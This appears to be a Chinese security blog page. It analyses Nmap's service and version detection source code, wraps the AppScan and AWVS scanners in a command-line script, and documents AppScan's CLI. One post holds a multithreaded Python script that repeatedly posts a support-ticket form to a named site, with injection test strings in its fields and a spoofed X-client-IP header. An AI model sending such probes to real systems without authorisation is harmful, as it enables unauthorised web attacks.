Nmap源码分析(服务与版本扫描)

发布时间:August 7, 2015 // 分类:工作日志,开发笔记,运维工作,VC/C/C++,linux,windows,转帖文章 // No Comments

  Nmap提供了丰富的命令行选项(100多个选项),所以Nmap的命令行用法既可以简单到直接输入nmap targetip,也可以复杂到添加几十个选项对扫描过程进行性能优化。对Nmap的各类命令行选项有个总体把握,是熟练使用Nmap的先决条件。因此,这里以思维导图方式将Nmap的常用选项绘制出来,给用户清晰直观的印象。

  Nmap的思维导图(Mindmap)

  下载地址:http://aspirationflowspace.googlecode.com/files/nmap_usage_mindmap.png

Nmap源码分析(服务与版本扫描)

 

  在进行端口扫描后,Nmap可以进一步探测出运行在端口上的服务类型及应用程序的版本。目前Nmap可以识别几千种服务程序的签名(Signature),覆盖了180多种应用协议。比如,端口扫描检测到80端口是开放的,可以通过服务与版本扫描来确定其实际运行的协议(正常情况下是HTTP)及Web服务器名称及版本(比如是Apache xxx.xxx或者Microsoft IIS等)。

 

 

  扫描原理是服务指纹(或称签名)对比匹配。Nmap内部包含了几千种常见服务指纹的数据库(nmap-service-probes),对目标端口进行连接通信,产生当前端口的服务指纹,再与指纹数据库对比,寻找出匹配的服务类型。

  服务与版本侦测主要分为以下几个步骤:

1.        首先检查open与open|filtered状态的端口是否在排除端口列表内。如果在排除列表,将该端口剔除。

2.        如果是TCP端口,尝试建立TCP连接。尝试等待片刻(通常6秒或更多,具体时间可以查询文件nmap-services-probes中ProbeTCP NULL q||对应的totalwaitms)。通常在等待时间内,会接收到目标机发送的“Welcome Banner”信息。nmap将接收到的Banner与nmap-services-probes中NULLprobe中的签名进行对比。查找对应应用程序的名字与版本信息。

3.        如果通过“Welcome Banner”无法确定应用程序版本,那么nmap再尝试发送其他的探测包(即从nmap-services-probes中挑选合适的probe),将probe得到回复包与数据库中的签名进行对比。如果反复探测都无法得出具体应用,那么打印出应用返回报文,让用户自行进一步判定。

4.        如果是UDP端口,那么直接使用nmap-services-probes中探测包进行探测匹配。根据结果对比分析出UDP应用服务类型。

5.        如果探测到应用程序是SSL,那么调用openSSL进一步的侦查运行在SSL之上的具体的应用类型。

6.        如果探测到应用程序是SunRPC,那么调用brute-forceRPC grinder进一步探测具体服务。

 

服务扫描用法

-sV: 指定让Nmap进行版本侦测

--version-intensity<level>: 指定版本侦测强度(0-9),默认为7。数值越高,探测出的服务越准确,但是运行时间会比较长。

--version-light: 指定使用轻量侦测方式 (intensity 2)

--version-all: 尝试使用所有的probes进行侦测 (intensity 9)

--version-trace: 显示出详细的版本侦测过程信息。

2   实现框架
下面先介绍服务与版本扫描涉及到的源文件与库、核心Class,然后介绍服务扫描的核心函数实现流程及流程的细节。
 
2.1  文件组织

service_scan.cc/service_scan.h

服务扫描的核心功能都在此两个文件中实现,文件结构清晰简洁,代码行数总共3000余行。与端口扫描部分类似,服务扫描也定义了不少类与接口函数。

nmap-service-probes

此文件是nmap服务扫描所需的数据库文件,包括定制的探测包及预期的回复包,及识别服务类型的具体匹配方式。

下面摘取其中片段,简单了解其结构。

Probe TCPNULL q||
# Wait forat least 6 seconds for data.  It used tobe 5, but some
# smtpservices have lately been instituting an artificial pause (see
#FEATURE('greet_pause') in Sendmail, for example)
totalwaitms6000
 
match 1c-server m|^S\xf5\xc6\x1a{|p/1C:Enterprise business management server/
 
match4d-server m|^\0\0\0H\0\0\0\x02.[^\0]*\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0$|sp/4th Dimension database server/
 
match acapm|^\* ACAP IMPLEMENTATION\"CommuniGateProACAP(\d[−.\w]+)\" |p/CommuniGate Pro ACAP server/ v/$1/ i/for mail client preference sharing/
match acmpm|^ACMP Server Version ([\w._-]+)\r\n| p/Aagon ACMP Inventory/ v/$1/
matchactivemq m|^\0\0\0.\x01ActiveMQ\0\0\0|s p/Apache ActiveMQ/

第一行Probe关键字表示定义一个探测包,其类型为TCP,名字为NULL,探测字符串为空(q||)。以#开头为注释行,为读者提供参考信息。随后定义默认服务等待时间totalwaims 6000,即6秒钟。后面的match行,定义服务匹配的情况,即在此条件下认为此端口是运行的具体服务类型。match行的格式如下:

match <service> <pattern> [<versioninfo>]

service为服务名称,pattern为匹配的模式(正则表达式),versioninfo为该服务对应的版本信息。这里以match 1c-serverm|^S\xf5\xc6\x1a{| p/1C:Enterprise business management server/为例,当使用NULL探测包获取的返回包中包含:m|^S\xf5\xc6\x1a{|模式(该正则表达式含义:以字符S开头,紧随其后三个字符\xf5\xc6\x1a)时,并且从提取出厂商产品名字与1C:Enterprise businessmanagement server相符,那么判断该服务为1c-server。

其他的行与此类似,这里就不再赘述。

 

nsock library

服务与版本扫描部分用到nsock库,该库设计用于并发处理网络事件。在Nmap源码树下,有单独的nsock目录来管理nsock库。此处我们仅需要关注nsock.h文件中提供的API函数即可。

2.2  核心类分析

  服务扫描过程中,主要构建了5个类,分别描述不同层次的数据类型。下面我们将以宏观到微观的思路,依次查看每个类的结构与用法。其中ServiceGroup从整理的角度管理服务扫描过程;ServiceNFO则具体的负责管理每一种服务扫描过程;AllProbes负责管理所有用于服务扫描的探测包;ServiceProbe则描述每一个进行服务探测的探测包细节(对应nmap-service-probes中描述的探测包);ServiceProbeMatch则描述探测包的匹配类型(每一个ServiceProbe可能包含多种匹配类型)。

  下面依次查看每个类的细节。

 

2.2.1ServiceGroup

  ServiceGroup用于管理一组目标机进行服务扫描的信息。这个类非常重要,负责统一管理其他具体的信息:如单个服务扫描信息(ServiceNFO)、全部探测包信息(AllProbes)、服务探测包信息(ServiceProbe)等等。

  该类主要包含以下具体内容:

  1. 扫描完成的服务列表services_finished,记录目前已经扫描完毕的服务。
  2. 正在扫描的服务列表services_in_progress。多个服务可能在同时并发地被探测,所以此处将当前正在扫描的服务全部记录在该列表中。
  3. 剩余服务列表services_remaining,当前还没有开始探测的服务被放置在该列表中。在服务扫描初始化时,所有的服务的都被放置在列表中。
  4. 最大的并发探测包ideal_parallelism,用于确定同时发送服务探测包的并发数量,此值取决于用户配置的时序参数和具体网卡的支持能力等因素。若配置时序为-T4,那么会将ideal_parallelism设置40。
  5. 扫描进度测量器ScanProgressMeter,用于记录服务扫描的进度情况,以便能够实时地反馈给用户。在控制台界面按下普通按键(如按下空格键,不包括“vVdDp?”字符,这几个字符有特殊含义),Nmap会打印出当前的扫描进度。
  6. 超时主机的数量,记录当前扫描超时的主机数量。
// This holds theservice information for a group of Targets being service scanned.

class ServiceGroup {

public:

  ServiceGroup(vector<Target *>&Targets, AllProbes *AP);

  ~ServiceGroup();

  list<ServiceNFO *> services_finished;// Services finished (discovered or not)

  list<ServiceNFO *>services_in_progress; // Services currently being probed

  list<ServiceNFO *> services_remaining;// Probes not started yet

  unsigned int ideal_parallelism; // Max (anddesired) number of probes out at once.

  ScanProgressMeter *SPM;

  int num_hosts_timedout; // # of hosts timedout during (or before) scan

};

2.2.2ServiceNFO

  ServiceNFO负责管理特定的服务的探测细节。上述的ServiceGroup中就是管理ServiceNFO对象组成的列表。

  ServiceNFO类包含以下信息:

  1. 服务指纹的管理(提供添加与获取等操作)
  2. 服务扫描对应的主机(Target *target)
  3. 服务探测匹配的信息(是否匹配、是否softmatch、ssl配置、产品、版本、CPE等信息)
  4. 管理探测包(服务扫描过程可能需要发送多个探测包,在此对当前探测包、下一个探测包进行管理)
  5. 管理回复包(提供添加与获取等操作)。
  6. 服务扫描所需的全部探测包AllProbes *AP;

 

2.2.3AllProbes

  AllProbes负责管理全部的服务探测包(Probes)。该类的对象从nmap-service-probes数据库文件中解析出探测包及匹配方式等信息,将之管理起来。在后续服务扫描时,在此对象中来按需取出探测包发送即可。

  该类主要包含以下几个方面内容:

  1. 探测包管理(探测包向量std::vector<ServiceProbe *>probes、NULL探测包等)
  2. 编制回退数组(compileFallbacks),当回复包无法匹配当前字符串时,允许回退到上一次匹配字符串。
  3. 管理排除端口列表。在nmap-service-probes中指定需排除的服务扫描,默认排除TCP的9100-9107端口,此类打印机服务会返回大量的无用信息。
  4. 服务初始化接口与释放接口。

 

2.2.4ServiceProbe

  ServiceProbe负责管理单个的服务探测包的详细信息。服务探测包具体的信息来自nmap-service-probes数据库文件,当AllProbes类在初始化时会读取该文件,并依据其每个探测信息创建ServiceProbe对象,放置在AllProbes内部的向量std::vector<ServiceProbe *>probes中。

  该类主要包含以下内容:

  1. 探测包名字,比如探测包名字叫NULL或GenericLines等等。
  2. 探测包字符串及字符串长度。非NULL探测包都包含探测需要字符串,所以此处对该信息进行管理。例如,对于探测包:Probe TCP GenericLinesq|\r\n\r\n|,其探测字符串为\r\n\r\n。
  3. 允许的端口及SSL端口。除NULL外,探测包通常只会针对特定的端口扫描才有效,所以此处即管理该探测包允许的扫描的端口。
  4. 探测包的协议类型probeprotocol,只能是TCP或UDP。
  5. 可被探测的服务类型detectedServices。与允许端口类似,探测包可能只能用于某些特定的服务的探测,所以此处统一管理能被探测的服务类型。
  6. 服务探测包匹配管理。该类中使用向量std::vector<ServiceProbeMatch*> matches来管理此服务探测包可能会匹配的情况,匹配情况对应到nmap-service-probes中的match与softmatch行。
  7. 探测回退数组(fallback array)的管理,此对应到AllProbes中compileFallbacks()函数,此处管理具体的服务探测包进行回退的数组。数组结构:ServiceProbe*fallbacks[MAXFALLBACKS+1];
  8. 测试是否匹配,此接口函数用于测试某个回复包是否与预期结果匹配。
  9. 其他接口函数,管理其他普通信息。

 

2.2.5ServiceProbeMatch

  ServiceProbeMatch用于管理特定的服务探测包的匹配信息(match)。nmap-service-probes文件中每一个match和softmatch行都对应到该类的对象。

该类信息比较丰富,以下仅简要描述:

  1. 探测包匹配详细信息(版本、产品、CPE等等)
  2. 探测匹配情况(匹配类型、匹配字符串、正则表达式等等)
  3. 测试是否匹配接口函数。若匹配成功,返回详细的服务与版本信息。

 

2.3  代码流程

  在nmap.cc文件的nmap_main()函数中,如果配置了服务扫描,那么调用service_scan()函数(位于service_scan.cc文件中)。服务扫描的内容主要在service_scan()函数中完成。

  service_scan()函数比较简洁,只有120多行代码。因为服务扫描涉及到具体详细的操作都封装到类或其他的静态非成员函数中了,而并发处理网络事件部分调用nsock库来处理。

2.3.1代码流程图

2.3.2流程解析

  首先在nmap_main()中将扫描目标机传入service_scan()函数中,以便根据目标机端口状态来筛选需要扫描的服务。

  然后,在AllProbes:: service_scan_init()读取nmap-service-probes文件,解析出被排除的端口、扫描过程需要的探测包、探测包匹配等详细信息。将信息存放在AllProbes对象内。

  随后,根据Targets和AllProbes创建服务组对象(ServiceGroup),从Targets中解析出开放的端口与处于open|filtered状态的端口,创建对应的ServiceNFO对象,该服务等待被扫描。并创建扫描进度测量器,以便后续打印出扫描进度;确定最佳的扫描并发度ideal_parallelism。

  然后,确定排除端口。默认情况下,排除nmap-service-probes中指定的端口Exclude T:9100-9107;而如果用户命令行指定--all-ports,那么不排除Exclude指定的端口。

为每个目标机设置超时时钟,获取当前时间。

  然后开始进入关键环节,创建nsock pool,即nsock处理并发探测包的事件池。在创建nsock pool后,服务扫描才能使用nsock建立连接并注册事件。

根据用户需求,设置服务扫描的trace信息。

  若配置了openssl时,将其速度设置为最大。因为对于服务扫描,仅关心端口的服务类型,不必在安全性花费过多时间。

  然后开始启动少量的服务探测包(launchSomeServiceProbes)。根据前述步骤得出的服务探测包,创建nsock niod(io描述符,类似于文件描述符,管理输入输出),完成地址等信息配置,然后建立CP连接或UDP连接,在建立连接后向nsock pool注册事件。此后,该连接的事件将交给nsock loop来统一处理。

  创建nsock主循环(nsock_loop),在此循环中来接收网络事件(例如接收到回复包),调用相应的处理函数对事件响应(函数servicescan_read_handler()、servicescan_write_handler()、servicescan_connect_handler())。在处理函数中,扫描完成了某些服务后,会再调用launchSomeServiceProbes()函数加载剩余的服务进来扫描,以此整个服务扫描过程就被有序地连接起来了。

  当nsock循环退出,检查是否有错,并删除nsock pool对象。

  打印出调试信息,处理最终扫描结果。

3  源码注释

/* Execute a service fingerprinting scan against all open ports of the
   Targets specified. */
///针对指定目标机的开放的端口进行服务指纹扫描,
///此处会用到Nmap的nsock库(并发的Socket Event处理库)
int service_scan(vector<Target *> &Targets) {
  // int service_scan(Target *targets[], int num_targets)
  AllProbes *AP;
  ServiceGroup *SG;
  nsock_pool nsp;
  struct timeval now;
  int timeout;
  enum nsock_loopstatus looprc;
  struct timeval starttv;

  if (Targets.size() == 0)
    return 1;

  AP = AllProbes::service_scan_init();///获取AllProbes对象,AllProbes仅维护一个Static对象
  ///在service_scan_init()中将读取nmap-service-probes文件,解析出需要的探测包,并存放在
  ///AllProbes中std::vector<ServiceProbe *> probes向量中。


  // Now I convert the targets into a new ServiceGroup
  ///使用Targets向量与AllProbes创建服务组ServiceGroup,从Targets中提取open端口及
  ///open|filtered端口,放入services_remaining等待进行服务扫描。
  ///在创建服务组时,确定出服务扫描的最佳并发度ideal_parallelism
  SG = new ServiceGroup(Targets, AP);

  if (o.override_excludeports) {
    ///覆盖被排除端口,当命令行中指定--all-ports时会走到此分支。
    ///被排除的端口是指在nmap-service-probes文件用Exclude指令定义的端口。
    if (o.debugging || o.verbose) log_write(LOG_PLAIN, "Overriding exclude ports option! Some undesirable ports may be version scanned!\n");
  } else {
    ///从ServiceGroup中移除被排除的端口,Nmap默认会排出掉9100-9107与打印机相关的服务,
    ///因为此类服务只是简单返回Nmap发送过去的探测包,会产生大量的垃圾的流量。
    ///默认情况下在nmap-service-probes文件头部定义:Exclude T:9100-9107
    remove_excluded_ports(AP, SG);
  }
  ///为所有需要进行服务扫描的主机设置超时值
  startTimeOutClocks(SG);

  if (SG->services_remaining.size() == 0) {
    delete SG;
    return 1;
  }
  
  gettimeofday(&starttv, NULL);
  if (o.verbose) {
    char targetstr[128];
    bool plural = (Targets.size() != 1);
    if (!plural) {
      (*(Targets.begin()))->NameIP(targetstr, sizeof(targetstr));
    } else Snprintf(targetstr, sizeof(targetstr), "%u hosts", (unsigned) Targets.size());

    log_write(LOG_STDOUT, "Scanning %u %s on %s\n", 
          (unsigned) SG->services_remaining.size(), 
          (SG->services_remaining.size() == 1)? "service" : "services", 
          targetstr);
  }

  // Lets create a nsock pool for managing all the concurrent probes
  // Store the servicegroup in there for availability in callbacks
  ///创建nsock pool,以使用nsock并发控制探测包
  if ((nsp = nsp_new(SG)) == NULL) {
    fatal("%s() failed to create new nsock pool.", __func__);
  }

  ///根据用户指定的packettrace配置,设置nsock的trace级别
  if (o.versionTrace()) {
    nsp_settrace(nsp, NULL, NSOCK_TRACE_LEVEL, o.getStartTime());
  }

#if HAVE_OPENSSL
  /* We don't care about connection security in version detection. */
  ///配置SSL时,关注传输速度,而不关注安全性本身,以加速服务扫描过程。
  nsp_ssl_init_max_speed(nsp);
#endif

  ///从service_remaining列表中找出满足条件的等待探测服务,对之进行配置,
  ///创建nsock文件描述符(niod),并通过nsock建立连接(如nsock_connect_tcp()),
  ///并将此探测服务移动到services_in_progress列表中。
  launchSomeServiceProbes(nsp, SG);

  // How long do we have before timing out?
  gettimeofday(&now, NULL);
  timeout = -1;

  // OK!  Lets start our main loop!
  ///nsock主循环,在此循环内处理各种探测包的事件(nsock event)
  ///在上述的launchSomeServiceProbes操作中,调用到nsock_connect_tcp/udp/sctp等,
  ///最终执行nsp_add_event函数向nsock pool添加等待处理的事件。
  looprc = nsock_loop(nsp, timeout);
  if (looprc == NSOCK_LOOP_ERROR) {
    int err = nsp_geterrorcode(nsp);
    fatal("Unexpected nsock_loop error.  Error code %d (%s)", err, strerror(err));
  }
  ///退出主循环后,删除nsock pool
  nsp_delete(nsp);

  if (o.verbose) {
    char additional_info[128];
    if (SG->num_hosts_timedout == 0)
      Snprintf(additional_info, sizeof(additional_info), "%u %s on %u %s",
        (unsigned) SG->services_finished.size(),  
        (SG->services_finished.size() == 1)? "service" : "services", 
        (unsigned) Targets.size(), (Targets.size() == 1)? "host" : "hosts");
    else Snprintf(additional_info, sizeof(additional_info), "%u %s timed out", 
           SG->num_hosts_timedout, 
           (SG->num_hosts_timedout == 1)? "host" : "hosts");
    SG->SPM->endTask(NULL, additional_info);
  }

  // Yeah - done with the service scan.  Now I go through the results
  // discovered, store the important info away, and free up everything
  // else.
  ///对服务扫描结果的处理
  processResults(SG);

  delete SG;

  return 0;
}

from:http://blog.csdn.net/aspirationflow/article/details/7910350

python之Thread初体验

发布时间:July 27, 2015 // 分类:工作日志,开发笔记,运维工作,代码学习,python,windows,生活琐事 // No Comments

最开始的原因是因为某个哥们在拿着burp反复的提交着某个页面的某个参数

看不下去了。建议拿脚本写一个来提交。然后要求使用多线程进行

#!python
#-*- coding:utf8 -*-
#Author saline
#Email nophacker@gmail.com

import requests,threading
from time import sleep, ctime

class MyThread(threading.Thread):
#创建MyThread类,用于继承threading.Thread类。
    def __init__(self,func,args,name=''):
    #使用类的初始化方法对func、args、name等参数进行初始化。
        threading.Thread.__init__(self)
        self.name=name
        self.func=func
        self.args=args
    
    def run(self):
        apply(self.func,self.args)
    #apply(func [, args [, kwargs ]]) 函数用于当函数参数已经存在于一个元组或字典中时,间接地调用函数。args是一个包含将要提供给函数的按位置传递的参数的元组。如果省略了args,任何参数都不会被传递,kwargs是一个包含关键字参数的字典。    

def post():
    header = {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
       'Origin':'http://support.0day5.com',
       'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36',
       'Content-Type':'multipart/form-data; boundary=----WebKitFormBoundaryuOYBiRdLALEyGT1o',
       'Referer':'http://support.0day5.com/request/new/',
       'Cookie':'SERVER_ID=yyyyyyyyyyyyyyyyyy; request_ticket_view=list; PHPSESSID=xxxxxxxxxxxxxxxxxxxxxxx',
       'Accept-Language':'zh-CN,zh;q=0.8',
       'Accept-Encoding':'gzip, deflate',
       'X-client-IP':'127.0.0.1'}#好麻烦的。直接不打算继续使用了
    posturl = "http://support.0day5.com/request/new/"
    postdata='------WebKitFormBoundaryuOYBiRdLALEyGT1o\r\nContent-Disposition: form-data; name=\"yform_ticket_form\"\r\n\r\n1<\">testetstetst\r\n------WebKitFormBoundaryuOYBiRdLALEyGT1o\r\nContent-Disposition: form-data; name=\"TicketForm[requester_id]\"\r\n\r\n486347\">testetstetst\r\n------WebKitFormBoundaryuOYBiRdLALEyGT1o\r\nContent-Disposition: form-data; name=\"TicketForm[title]\"\r\n\r\n##\">testetstetst\r\n------WebKitFormBoundaryuOYBiRdLALEyGT1o\r\nContent-Disposition: form-data; name=\"TicketForm[field_1910]\"\r\n\r\nwww.0cx.cc\">testetstetst\r\n------WebKitFormBoundaryuOYBiRdLALEyGT1o\r\nContent-Disposition: form-data; name=\"TicketForm[content]\"\r\n\r\n<p>\r\n</p><p><br/>testetstetst</p>\r\n------WebKitFormBoundaryuOYBiRdLALEyGT1o\r\nContent-Disposition: form-data; name=\"file\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundaryuOYBiRdLALEyGT1o--'
    r = requests.post(posturl,postdata,headers = header)
    print r.history
    #打印状态码
threads = []
for i in xrange(20):
    t = MyThread(post,())
    threads.append(t)
    t.start()
    print 'end:%s' %ctime()
        

赶紧去看看自己的邮箱提醒

整合了最近整理的东西

发布时间:July 27, 2015 // 分类:工作日志,开发笔记,运维工作,代码学习,python,windows,生活琐事 // No Comments

最近整理了下几个扫描器的命令行运行的东西。

appscan

AppScanCMD.exe /e /su http://127.0.0.1 /pf d:\\self.policy /st d:\\self.scant /msev Low /tt Application /rt Html /rf d:\localhost.Html
比较有效的


AppScanCMD.exe /e /su http://127.0.0.1 /pf d:\\self.policy /st d:\\self.scant /msev Low /tt Infrastructure /rt Html /rf d:\localhost.Html

AppScanCMD.exe /e /su http://127.0.0.1 /pf d:\\self.policy /st d:\\self.scant /msev Low /tt All /rt Html /rf d:\localhost.Html

AppScanCMD.exe /e /su http://127.0.0.1 /pf d:\\self.policy /st d:\\self.scant /msev Medium /tt All /rt Html /rf d:\localhost.Html

AppScanCMD.exe /e /su http://127.0.0.1 /pf d:\\self.policy /st d:\\self.scant /msev High /tt All /rt Html /rf d:\localhost.Html

然后是AWVS

wvs_console /Scan http://127.0.0.1  /Profile ws_default /saveFolder d:\ --GetFirstOnly=false --FetchSubdirs=true --RestrictToBaseFolder=true --ForceFetchDirindex=true --SubmitForms=true --RobotsTxt=true --CaseInsensitivePaths=false --UseCSA=true --UseAcuSensor=true --EnablePortScanning=false --UseSensorDataFromCrawl=revalidate --ScanningMode=Heuristic --TestWebAppsOnAllDirs=false --ManipHTTPHeaders=true /GenerateReport /ReportFormat pdf

于是稍微整理下

#!python
#-*- coding:utf8 -*-
#Author saline
#Email nophacker@gmail.com
import sys,os
from optparse import OptionParser 

appscancmd = r'D:\\"Program Files"\\IBM\\"AppScan Standard"\\AppScanCMD.exe'
wvs_console = r'D:\\"Program Files"\\Acunetix\\"Scanner"\\wvs_console.exe'
saveFolder = r'D:\\work\\'

def init_parser():
    usage = "Usage: %prog --host http://www.example.com --scan awvs"
    parser = OptionParser(usage=usage, description="AppScanCMD AND AWVS_console scan")
    parser.add_option("--host", type="str", dest="host", help="remote host name")
    parser.add_option("--scan", type="str", dest="command", help="chose what scan.just appscan and wvscmd")
    return parser

def scan(url,scan):
        if 'http' in url:
                name = url.split('//')[1].replace('/','')
                url = url
        else:
                name = url.replace('\n','')
                url = 'http://'+url
        #appcmd = ('%s /e /su %s /pf d:\\self.policy /st d:\\self.scant /msev Medium /tt All /rt pdf /rf d:\\work\\%s\\appscan.pdf')%(appscancmd,url,name)
        appcmd = ('%s /e /su %s /st d:\\self.scant /msev Medium /tt All /rt pdf /rf %s%s\\appscan.pdf')%(appscancmd,url,saveFolder,name)
        wvscmd =('%s /Scan %s  /Profile ws_default /saveFolder %s%s --GetFirstOnly=false --FetchSubdirs=true --RestrictToBaseFolder=true --ForceFetchDirindex=true --SubmitForms=true --RobotsTxt=true --CaseInsensitivePaths=false --UseCSA=true --UseAcuSensor=true --EnablePortScanning=false --UseSensorDataFromCrawl=revalidate --ScanningMode=Heuristic --TestWebAppsOnAllDirs=false --ManipHTTPHeaders=true /GenerateReport /ReportFormat pdf')%(wvs_console,url,saveFolder,name)
        if 'appscan' in scan:
            cmd = appcmd
        else:
            cmd = wvscmd
        os.system(cmd)

def main():
    parser = init_parser()
    option, _ = parser.parse_args()
    domain = option.host
    command  = option.command

    if not domain:
        parser.print_help()
        sys.exit(0)

    domain = domain if domain.startswith('http') else "http://{domain}".format(domain=domain)
    domain = domain if not domain.endswith('/') else domain[:-1]
    return scan(domain,command)


if __name__ == "__main__":
        main()

使用的方法也是很简单

python scan.py
Usage: scan.py --host http://www.example.com --scan awvs

AppScanCMD AND AWVS_console scan

Options:
  -h, --help      show this help message and exit
  --host=HOST     remote host name
  --scan=COMMAND  chose what scan.just appscan and wvscmd

awvs

发现野生的设计一枚.

扫描核心为awvs console,用nginx反向代理+DNSsever解决了,登录认证问题(大部分情况)

About AppScan Standard CLI

发布时间:July 25, 2015 // 分类:工作日志,开发笔记,windows,转帖文章,生活琐事 // No Comments

前言

IBM Security AppScan Standard(以下简称 AppScan Standard)是业界一款优秀的 Web 应用安全测试工具。越来越多的机构将之应用到实际开发过程中,并尝试将 AppScan Standard 集成到他们的自动化构建中去。AppScan Standard 自V8.6开始就提供 的 CLI 命令行界面提供了丰富的命令及参数,用户可以很方便地从脚本或者批处理文件中控制 AppScan Standard,轻松实现将 AppScan Standard 集成到自动构建中去。

 

AppScan Standard CLI 命令简介

AppScan Standard 安装完成后,会在系统变量 "PATH" 中增加 AppScan Standard 的安装根目录(譬如 C:\Program Files (x86)\IBM\Rational AppScan\)。AppScan Standard CLI 命令 AppScanCMD.exe 即存在于 AppScan 的安装根目录中。因此用户打开 DOS 命令窗口,即可以执行 AppScan Standard 的 CLI 命令。

AppScanCMD.exe
以下参数中至少缺失一个:base_scan, starting_url, scan_template, manual_explore_file = ''
Program Usage:

AppScanCMD exec|ex|e

        Parametrs:
        [ /starting_url|/surl|/su <http://demo.testfire.net> ]
        [ /dest_scan|/dest|/d <full_path> ]
        [ /base_scan|/base|/b <full_path> ]
        [ /old_host|/ohost|/oh <http://demo.testfire.net> ]
        [ /new_host|/nhost|/nh <http://testing.testfire.net> ]
        [ /scan_template|/stemplate|/st <full_path> ]
        [ /login_file|/lfile|/lf <full_path> ]
        [ /multi_step_file|/mstepfile|/mf <full_path> ]
        [ /manual_explore_file|/mexplorefile|/mef <full_path> ]
        [ /policy_file|/pfile|/pf <full_path> ]
        [ /additional_domains|/adomains|/ad <demo.testfire.net123> ]
        [ /report_file|/rf <full_path> ]
        [ /report_type|/rt <Xml,Pdf,Rtf,Txt,Html,rc_ase> {xml} ]
        [ /min_severity|/msev <Informational,Low,Medium,High> {informational} ]
        [ /test_type|/tt <All,Application,Infrastructure,ThirdParty>]

        Flags:
        [ /verbose|/v {false} ]
        [ /scan_log|/sl {false} ]
        [ /explore_only|/eo {false} ]
        [ /test_only|/to {false} ]
        [ /multi_step|/mstep|/ms {false} ]
        [ /continue|/c {false} ]

        可通过 base_scan 配置、保存 dest_scan 和创建报告来创建新的扫描,如果已配置的话。


AppScanCMD report|rep|r

        Parametrs:
        /base_scan|/base|/b <full_path>
        /report_file|/rf <full_path>
        [ /report_type|/rt <Xml,Pdf,Rtf,Txt,Html,rc_ase> {xml} ]
        [ /min_severity|/msev <Informational,Low,Medium,High> {informational} ]
        [ /test_type|/tt <All,Application,Infrastructure,ThirdParty> ]

        Flags:
        [ /verbose|/v {false} ]

        创建 base_scan 报告。


AppScanCMD help|h

        打印用途。

AppScan Standard CLI 命令调用比较简单,主要包括三个部分:CLI 命令 + CLI 子命令 + 子命令参数。ACLI 命令包括三个子命令:Exec,Report,Help。下面列出三个子命令的功能和详细参数。

  • Exec 命令

Exec 命令会使用指定的起始 URL 创建新扫描,运行和保存此扫描。同时还可以使用它来生成和保存扫描的报告。如果没有指定 CLI 子命令,缺省模式下将会运行 exec 命令。

表 1. Exec 命令参数
参数 说明
/starting_url 设置扫描的起始 URL。起始 URL 也可以在 /base_scan 或者 /scan_template 中指定。starting_url 参数会覆盖前两者参数中的起始 URL。
/base_scan 设置源扫描文件(必须包含完整路径),新建扫描文件将使用该源扫描文件中的扫描配置。
/dest_scan 设置新扫描文件的保存位置(必须包含完整路径)。此参数若未设置的话,AppScanCMD 会把新扫描文件保存到 Temp 文件夹,并提示新扫描文件的完整路径。
/scan_template 设置扫描模板文件,新建扫描文件将使用该模板文件中的扫描配置。
/old_host
/new_host
/old_host 跟 /new_host 配合使用,新扫描文件将会用 new_host 来替换扫描中所有的 old_host 路径。这个参数非常有利于脚本重用,譬如 FVT 阶段的 AppScan 脚本即可通过这种方式重用到 UAT 环境中。
/login_file 指定新扫描文件需导入的登录序列。
/multi_step_file 指定新扫描文件需导入的多步骤文件
/manual_explore_file 指定新扫描文件需导入的手工探索文件。
/policy_file 指定新扫描文件所使用的测试策略文件。
/additional_domains 指定新扫描文件在扫描中包含的、除起始 URL 之外的域。如果有多个域,建议用分号将它们分隔。
/report_file 设定新扫描文件需生成的报告名称和路径(必须包括完整路径)。
/report_type 设定报告格式。支持 <xml|pdf|rtf|txt|html|rc_ase> 六种报告格式,缺省值为 XML。rc_ase 指的是 AppScan Enterprise 报告,使用时需保证设置好 AppScan Enterprise 的连接参数。
/min_severity 指定要在报告中包含的最低结果严重性(仅适用于非 XML 报告),支持四种严重性 <low|medium|high|informational>,缺省值为 low。
/test_type 指定要在报告中包含哪些类型的测试,支持四大类型 <All|Application|Infrastructure|ThirdParty>,缺省值为 All。
/verbose 包含此标志,则在输出中包含进度行。
/scan_log 包含此标志,则在扫描时显示扫描日志。
/explore_only 包含此标志,则仅运行"探索"阶段。
/test_only 包含此标志,则仅运行"测试"阶段。
/multi-step 包含此标志,则仅测试多步骤操作。
/continue 包含此标志,则继续扫描 base_scan 文件。
  • Report 命令

Report 命令用来载入指定的扫描文件,生成对应的报告。Report 命令参数主要有 /base_scan,/report_file,/report_type,/min_severity,/test_type 这五项,用法和功能跟 Exec 命令中的同名参数相同。本文不再赘述。

  • Help 命令

Help 命令用以帮助熟悉 CLI 的命令用法。Help 命令没有参数。

AppScan Standard CLI 命令在执行完成中会输出退出状态代码,用以表示操作是否成功,如果不成功还通过退出状态代码提示错误内容。

表 2. CLI 命令退出代码表
代码 意义
0 成功完成
1 AppScan 启动失败
2 命令行错误
3 许可证无效
4 装入失败
5 扫描失败
6 报告失败
7 保存失败
8 常见错误

看到这里,相信已经对 AppScan 的 CLI 命令已经了然于心。AppScan Standard CLI 命令非常直观明了。但我们也看到 Exec 命令有很多参数,究竟什么情况下该用哪些参数?采用 base_scan 还是采用 starting_url 和 scan_template 等参数?什么样的脚本重用性更好,更适合使用 AppScan Standard CLI 来集成?

appscancmd也跟wvs_console一样直接用命令行选项来设置扫描参数,appscancmd的扫描必须基于一个base_scan,目的就是为了读取扫描参数。所以在使用appscancmd之前我们必须通过GUI来创建一个base_scan。创建base_scan跟在GUI下新建一个扫描任务是一样的,唯一区别在“扫描配置向导”的最一步选择“我将稍后启动扫描”,然后保存扫描到文件。

完成配置,保存结果文件,最后退出appscan的GUI。

然后调用appscancmd来进行扫描

AppScanCMD exec /e /b D:\我的文档\Documents\AppScan\tianya8.scan /d D:\我的文档\Documents\AppScan\tianya8.scan /rt pdf /rf d:\tian.pdf

/e exec执行扫描任务
